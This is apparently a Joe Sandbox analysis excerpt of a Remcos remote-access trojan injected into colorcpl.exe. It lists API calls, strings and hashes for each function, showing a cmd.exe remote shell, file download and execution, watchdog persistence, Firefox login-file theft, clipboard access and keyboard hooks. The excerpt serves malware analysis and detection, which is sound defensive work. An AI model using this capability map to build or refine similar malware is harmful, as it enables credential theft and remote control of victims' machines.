Instruction Fuzzy Hash: 28F06D3264211CBBDF00EFA4EC14EEE776CEF54651F108665BE09AA110EB329E14AB90

Function 030A1F34 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 030A1F54
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,03102200), ref: 030A1F72
RegCloseKey.KERNEL32(?), ref: 030A1F7D

Strings

pth_unenc, xrefs: 030A1F34

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: pth_unenc
API String ID: 3677997916-4028850238
Opcode ID: 91850bfb108aac8ea659f8cfa7cfb61ecee830b183e4d4a59504a0e95388fa6e
Instruction ID: e45f6e3359a8ea98f0f2fb5fcb6987762bce3769e04f89a9765d0dca10cf60d1
Opcode Fuzzy Hash: 91850bfb108aac8ea659f8cfa7cfb61ecee830b183e4d4a59504a0e95388fa6e
Instruction Fuzzy Hash: 0BF01D76A0121CBFDF109FE4AD45FEE7BBCEB04B11F1041A5BA05EA141D7355A149B90

Function 0309966D Relevance: 6.1, APIs: 4, Instructions: 58sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,03099745), ref: 030996A3
GetFileSize.KERNEL32(00000000,00000000,?,?,?,03099745), ref: 030996B2
Sleep.KERNEL32(00002710,?,?,?,03099745), ref: 030996DF
CloseHandle.KERNEL32(00000000,?,?,?,03099745), ref: 030996E6

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSizeSleep
String ID:
API String ID: 1958988193-0
Opcode ID: 067a01af671d6e6e34006c845c7d9203a0b03ce1eb545c4928e57acf9b78c6cc
Instruction ID: f8f68ca5b887b0036144c399837fd656ec2c9c77592efcda4542e8671eb5b8f4
Opcode Fuzzy Hash: 067a01af671d6e6e34006c845c7d9203a0b03ce1eb545c4928e57acf9b78c6cc
Instruction Fuzzy Hash: 3E113A307077406BFF76FB74A99CA2EBB9BA78A304F08080EE2814A585C7695455D322

Function 030A1F91 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 030A1FB5
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 030A1FD2
RegCloseKey.KERNEL32(00000000), ref: 030A1FDD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: dce2a0f86e62b06d6f418eaf454ab30d973fac24e009df2868f0074f3d4d6c7d
Instruction ID: 1304e19ca617f6496e88b24e4aaf27622632ff95471e158686699d527bb01e0f
Opcode Fuzzy Hash: dce2a0f86e62b06d6f418eaf454ab30d973fac24e009df2868f0074f3d4d6c7d
Instruction Fuzzy Hash: CC01A27AA0212CBBCB209A95EC08DEF7BBDDB84651F004096BB05A6100DB719A16DBA0

Function 030A20E8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,03102200), ref: 030A2104
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 030A211D
RegCloseKey.KERNEL32(00000000), ref: 030A2128

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7c48682f102573a01ff2a03a9d263598dd26e205333b262c42e22faa757c7511
Instruction ID: 36b98bf32335366c2fd08ba89162778f458188762de0df49178beac80594d998
Opcode Fuzzy Hash: 7c48682f102573a01ff2a03a9d263598dd26e205333b262c42e22faa757c7511
Instruction Fuzzy Hash: DE018B3580212CBBCF21AF94EC08DEF3F2CEF54761F0040A0BA0866110D73689A9EBA0

Function 030A9797 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 030A97AB

Strings

@, xrefs: 030A97A1

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 475e8f45d215e6460af1abce7227108f3eea76f4c61dc4c74b5da2c2579ea872
Instruction ID: 587cd23102cdcdfb4d16d247628c801a2538adc349c3a3cbc77ab93e1e008089
Opcode Fuzzy Hash: 475e8f45d215e6460af1abce7227108f3eea76f4c61dc4c74b5da2c2579ea872
Instruction Fuzzy Hash: 56D012B5801318DFC720DF98E94458DB7FCFB08214F000569EC49E3300D774A8008B90

Function 030D0C8C Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030D0CDA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c5e83f2bd3cd9601e39e3acfc4ffe1b163aaedd6eba71807d5215bd62b1e19e7
Instruction ID: 4199361dfedbfbc86564199bc85c83de89a212fce4875aecffcc4a04eb021676
Opcode Fuzzy Hash: c5e83f2bd3cd9601e39e3acfc4ffe1b163aaedd6eba71807d5215bd62b1e19e7
Instruction Fuzzy Hash: 61E0E52E607B2158D2A1F33E7C047AE16C48BC1375F155265E8288F5C8DF6484038562

Function 0309163E Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f210c679e2b780eded3ea4ef50917041f60fa4d2abe52b8749c2b449606446f0
Instruction ID: 16a046033c77d718100d434db9e379a81e4bb9c31cdfb1e690d846852092bf08
Opcode Fuzzy Hash: f210c679e2b780eded3ea4ef50917041f60fa4d2abe52b8749c2b449606446f0
Instruction Fuzzy Hash: 3EF0A7B1B1734269EF5CD734C85466E779A4B84251F288EAFF05BC54D0D730C895D604

Function 030A9A77 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,031024A0), ref: 030A9A9B
GetWindowTextW.USER32(00000000,?,00000200), ref: 030A9AAA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Window$ForegroundText
String ID:
API String ID: 29597999-0
Opcode ID: 290937059104e2001562e3002550714c3fe35b914ecb7ee3df89fea45d521205
Instruction ID: 165c2614eda5ea4da789d96853f62e324a500310a57d9fdcd4740430fd23d662
Opcode Fuzzy Hash: 290937059104e2001562e3002550714c3fe35b914ecb7ee3df89fea45d521205
Instruction Fuzzy Hash: CFE09B76E0131C27EB20A6AAFC4DFEBB77CEB90710F04019AF518C7141E9655D0586E0

Function 03098F1F Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 03098F39

Part of subcall function 03099203: CreateThread.KERNEL32(00000000,00000000,03099305,?,00000000,00000000), ref: 0309928B
Part of subcall function 03099203: CreateThread.KERNEL32(00000000,00000000,Function_000092EF,?,00000000,00000000), ref: 0309929B
Part of subcall function 03099203: CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 030992A7

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateThread$_wcslen
String ID:
API String ID: 1119755333-0
Opcode ID: aaab440111410d7c56923a56402dd1f69cc801ab6d231274b7b29b19cad54166
Instruction ID: c539ebcba7693c391c7f8e27448bbc4a0473044bb84537d369eae0da108d2c10
Opcode Fuzzy Hash: aaab440111410d7c56923a56402dd1f69cc801ab6d231274b7b29b19cad54166
Instruction Fuzzy Hash: 4521D839A0634A5FEF09FFB4D9519FE7BB9AF85200F00041BE4016A295DF30564AE791

Function 030993EF Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(03102008,?,?,?), ref: 0309945A

Part of subcall function 0309A592: GetKeyState.USER32(00000011), ref: 0309A597

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CallHookNextState
String ID:
API String ID: 3280314413-0
Opcode ID: e20f556008663d474a30b475c3a14a7a2953230e6ac7fd1225d414ae9cd0ec36
Instruction ID: 50f2a6418da12df400d00c778003ce222b6e921a0c82fc963412a81747179961
Opcode Fuzzy Hash: e20f556008663d474a30b475c3a14a7a2953230e6ac7fd1225d414ae9cd0ec36
Instruction Fuzzy Hash: 57F0D1363063059AFE46FE789C449AEB7DAEBD5210F00446FE6024A961CB618804A652

Function 030D3649 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9ace0ed03f6fe2797654ddcd146a6985ede45e8244fbb4891162fcf15d9a2753
Instruction ID: d4112fe2aa21db435f0effc1411fd6f58a1b9c806bbef3061bb0780d9e21e639
Opcode Fuzzy Hash: 9ace0ed03f6fe2797654ddcd146a6985ede45e8244fbb4891162fcf15d9a2753
Instruction Fuzzy Hash: 46E0652D2133256BDAE1E6655C04B9F76CCDF816E1F0EC6A5AC459A6C0CB61C80045A6

Function 030B4A66 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 030B4A70

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 2c679946ebfe889a07455d35dc476190873b97e23a598303c012bc6d630fd2bf
Instruction ID: 882367fdf651338cf0a0b45d99554feab37f896e35f8b7f85e684fcdbdb4e7f5
Opcode Fuzzy Hash: 2c679946ebfe889a07455d35dc476190873b97e23a598303c012bc6d630fd2bf
Instruction Fuzzy Hash: 7DB09BB5106105FFDA051750DC0486F7DB997C8780B004C0CB14640120C53684505711

Function 030B4A7D Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 030B4A87

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 027b135839ddd45c6965ebd52977b17fe7de1c1d1f981170cbc1558098a5dce8
Instruction ID: 1a373b4ea05447ca3f150aa172be91d8be20b7cc243b5e636043ee510eb2eee0
Opcode Fuzzy Hash: 027b135839ddd45c6965ebd52977b17fe7de1c1d1f981170cbc1558098a5dce8
Instruction Fuzzy Hash: 1DB09BB5105205FFDA061750DC0486F7D75A7C8780B004C0CF15640120C53684505711

Function 03094CA3 Relevance: 1.4, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000), ref: 03094DBB

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a375082d7121d4c1aa2dcfa7db829af81c7ff7023ea315dfba71a08dc2242d71
Instruction ID: 0b0ce59036b742d59b23aec6fecbf1c31ccc3dbc871d2a07b00e0ffa6027eb62
Opcode Fuzzy Hash: a375082d7121d4c1aa2dcfa7db829af81c7ff7023ea315dfba71a08dc2242d71
Instruction Fuzzy Hash: 5C41E47520A305AFEF14FB61DC10DBFB7EDAFD4310F040A1EB88686290DB249909A751

Non-executed Functions

Function 03096D28 Relevance: 32.3, APIs: 9, Strings: 9, Instructions: 810fileCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 03096D4A
GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 03096E18
DeleteFileW.KERNEL32(00000000), ref: 03096E3A

Part of subcall function 030AA01B: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,03102200,00000001), ref: 030AA076
Part of subcall function 030AA01B: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,03102200,00000001), ref: 030AA0A6
Part of subcall function 030AA01B: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,03102200,00000001), ref: 030AA0FB
Part of subcall function 030AA01B: FindClose.KERNEL32(00000000,?,?,?,?,?,?,03102200,00000001), ref: 030AA15C
Part of subcall function 030AA01B: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,03102200,00000001), ref: 030AA163

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 03097228
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 03097309
DeleteFileA.KERNEL32(?), ref: 0309768E

Strings

Deleted file: , xrefs: 03096E59
open, xrefs: 03097222
Unable to rename file!, xrefs: 030974A4
Failed to download file: , xrefs: 03097136
Browsing directory: , xrefs: 030972C9
Downloading file: , xrefs: 0309700E
Downloaded file: , xrefs: 030970BF
Unable to delete: , xrefs: 03096E98
Executing file: , xrefs: 0309723E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$Find$DeleteDirectoryRemove$AttributesCloseDriveEventExecuteFirstLocalLogicalNextShellStringsTime
String ID: Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$open
API String ID: 3077191444-1507758755
Opcode ID: be7319d95ea1e4fd1274392da82472575ed83c5ae26d9a37445ae003a7cf4465
Instruction ID: 8ee6df69bba9a87f2f533e3058038e0d7fd53cee0ded08c28be944cf8d548844
Opcode Fuzzy Hash: be7319d95ea1e4fd1274392da82472575ed83c5ae26d9a37445ae003a7cf4465
Instruction Fuzzy Hash: BC42B53A7063056FEE08FB78C865AEE77A8AFD1600F400D5EE5424F5D1EE219909E792

Function 0309567A Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 278pipesleepfileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 030956C6
__Init_thread_footer.LIBCMT ref: 03095703
CreatePipe.KERNEL32(03103BB4,03103B9C,03103AC0,00000000,030F3068,00000000), ref: 03095796
CreatePipe.KERNEL32(03103BA0,03103BBC,03103AC0,00000000), ref: 030957AC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,03103AD0,03103BA4), ref: 0309581F
Sleep.KERNEL32(0000012C,00000093,?), ref: 03095877
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0309589C
ReadFile.KERNEL32(00000000,?,?,00000000), ref: 030958C9

Part of subcall function 030C2525: __onexit.LIBCMT ref: 030C252B

WriteFile.KERNEL32(00000000,00000000,?,00000000,03101F28,030F306C,00000062,030F3050), ref: 030959C4
Sleep.KERNEL32(00000064,00000062,030F3050), ref: 030959DE
TerminateProcess.KERNEL32(00000000), ref: 030959F7
CloseHandle.KERNEL32 ref: 03095A03
CloseHandle.KERNEL32 ref: 03095A0B
CloseHandle.KERNEL32 ref: 03095A1D
CloseHandle.KERNEL32 ref: 03095A25

Strings

cmd.exe, xrefs: 0309572D
SystemDrive, xrefs: 03095741

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexit
String ID: SystemDrive$cmd.exe
API String ID: 618029711-3633465311
Opcode ID: 826162d9882802087ec63f310cb1aede4711f42725d34a0a0b6c308052f835de
Instruction ID: 4e5561e3f58ae42b91acbf645494a694a04be68499580910c0d4fc49c44e601e
Opcode Fuzzy Hash: 826162d9882802087ec63f310cb1aede4711f42725d34a0a0b6c308052f835de
Instruction Fuzzy Hash: 3C913A79602308BFEE09FB25EC50D6E7BACEBC9608F00082FF5559B681DBA59C449761

Function 030A0B5C Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 030A0B6B

Part of subcall function 030A2268: RegCreateKeyA.ADVAPI32(80000001,00000000,030F3050), ref: 030A2276
Part of subcall function 030A2268: RegSetValueExA.ADVAPI32(030F3050,000000AF,00000000,00000004,00000001,00000004,?,?,?,0309B093,030F38E0,00000001,000000AF,030F3050), ref: 030A2291
Part of subcall function 030A2268: RegCloseKey.ADVAPI32(030F3050,?,?,?,0309B093,030F38E0,00000001,000000AF,030F3050), ref: 030A229C

OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 030A0BAB
CloseHandle.KERNEL32(00000000), ref: 030A0BBA
CreateThread.KERNEL32(00000000,00000000,030A1253,00000000,00000000,00000000), ref: 030A0C10
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 030A0E7F

Strings

WinDir, xrefs: 030A0C80, 030A0CD5
\SysWOW64\, xrefs: 030A0CC6
rmclient.exe, xrefs: 030A0D4F
fsutil.exe, xrefs: 030A0D74
Remcos restarted by watchdog!, xrefs: 030A0BC5
svchost.exe, xrefs: 030A0D2A
WDH, xrefs: 030A0C1A, 030A0C20, 030A0E85
\system32\, xrefs: 030A0C6E
Watchdog module activated, xrefs: 030A0BE9, 030A0E41
Watchdog launch failed!, xrefs: 030A0DE8

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
API String ID: 3018269243-13974260
Opcode ID: 3d43e59d17cfa3721b5607157b5bc3a219658aa5d3e0a8c705e951cde6a62357
Instruction ID: b94ce57a2c798d46c65c4d1e1140ca8664681efc3ddc1d285e146ece1881687f
Opcode Fuzzy Hash: 3d43e59d17cfa3721b5607157b5bc3a219658aa5d3e0a8c705e951cde6a62357
Instruction Fuzzy Hash: C071E6397063055FEA08FBB4EC55EEE77A8AFD1200F40091EF4525F191EF609A09D692

Function 0309AA71 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0309AAF0
FindClose.KERNEL32(00000000), ref: 0309AB0A
FindNextFileA.KERNEL32(00000000,?), ref: 0309AC2D
FindClose.KERNEL32(00000000), ref: 0309AC53

Strings

[Firefox StoredLogins Cleared!], xrefs: 0309AC40
\logins.json, xrefs: 0309AB75
UserProfile, xrefs: 0309AAA1
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 0309AA93
[Firefox StoredLogins not found], xrefs: 0309AB15
\key3.db, xrefs: 0309ABB7

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
API String ID: 1164774033-3681987949
Opcode ID: bd0007a41aa4bbb6b2ae65112e4e62f9e73bf341e44d113e3c9c5406ebe1d504
Instruction ID: ee62fdde511b770c70decb5a6c78ba8d7d4049cca32a3026ebc1cfe2941581ae
Opcode Fuzzy Hash: bd0007a41aa4bbb6b2ae65112e4e62f9e73bf341e44d113e3c9c5406ebe1d504
Instruction Fuzzy Hash: CC51B135A0630E9FEF18FBB4EC65DEEB778AF91210F00055BE4066E092EF346A45DA41

Function 030A4EC1 Relevance: 18.1, APIs: 12, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 030A4EC2
EmptyClipboard.USER32 ref: 030A4ED0
GlobalAlloc.KERNEL32(00002000,-00000002), ref: 030A4EF0
GlobalLock.KERNEL32(00000000), ref: 030A4EF9
GlobalUnlock.KERNEL32(00000000), ref: 030A4F2F
SetClipboardData.USER32(0000000D,00000000), ref: 030A4F38
CloseClipboard.USER32 ref: 030A4F55
OpenClipboard.USER32 ref: 030A4F5C
GetClipboardData.USER32(0000000D), ref: 030A4F6C
GlobalLock.KERNEL32(00000000), ref: 030A4F75
GlobalUnlock.KERNEL32(00000000), ref: 030A4F7E
CloseClipboard.USER32 ref: 030A4F84

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmpty
String ID:
API String ID: 2339235153-0
Opcode ID: faa7d8d145f514b3b7062f7ece2fd26599592c8d642fa424e05a01c2be8de7c4
Instruction ID: 71b9fd76f9d7e2f76c1ab7324b554179d1389fee179ba51a46a104f384d4b50b
Opcode Fuzzy Hash: faa7d8d145f514b3b7062f7ece2fd26599592c8d642fa424e05a01c2be8de7c4
Instruction Fuzzy Hash: 3221A6353473045BEB04FBB4FC58ABE77A8EFE1A01F04085EF5478A185EF3548059A62

Function 030AA01B Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,03102200,00000001), ref: 030AA076
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,03102200,00000001), ref: 030AA0A6
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,03102200,00000001), ref: 030AA118
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,03102200,00000001), ref: 030AA125

Part of subcall function 030AA01B: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,03102200,00000001), ref: 030AA0FB

GetLastError.KERNEL32(?,?,?,?,?,?,03102200,00000001), ref: 030AA146
FindClose.KERNEL32(00000000,?,?,?,?,?,?,03102200,00000001), ref: 030AA15C
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,03102200,00000001), ref: 030AA163
FindClose.KERNEL32(00000000,?,?,?,?,?,?,03102200,00000001), ref: 030AA16C

Strings

pth_unenc, xrefs: 030AA01B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
String ID: pth_unenc
API String ID: 2341273852-4028850238
Opcode ID: a599bcb2ec95c3da115cb811ee515906dd46f41c5b81cbc5f2349a052a5da0dd
Instruction ID: ed584708ec601d10d946fab83e7b73874a243999ef0ccabfcdf230b9ad0bddb5
Opcode Fuzzy Hash: a599bcb2ec95c3da115cb811ee515906dd46f41c5b81cbc5f2349a052a5da0dd
Instruction Fuzzy Hash: 1231C771A0671D6ADB60E7B8FC48EDFB3BCAF44610F0406AAE515D6090EF3996C4CB50

Function 030A75E1 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 204COMMON

Download Yara Rule

Strings

6, xrefs: 030A77CB
0, xrefs: 030A760B
7, xrefs: 030A77E2
5, xrefs: 030A77C1
4, xrefs: 030A7770
2, xrefs: 030A76AC
1, xrefs: 030A764D
3, xrefs: 030A770C

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID: 0$1$2$3$4$5$6$7
API String ID: 0-3177665633
Opcode ID: e0a869b2e085ebc656c12d169a16c5021a18c2ed476de0c42fd313495d559193
Instruction ID: 32906c61ab08b9f2667cbde5dfd3a5f6d0ea3370ba5c37ebe9c0e4cb2c4a6e73
Opcode Fuzzy Hash: e0a869b2e085ebc656c12d169a16c5021a18c2ed476de0c42fd313495d559193
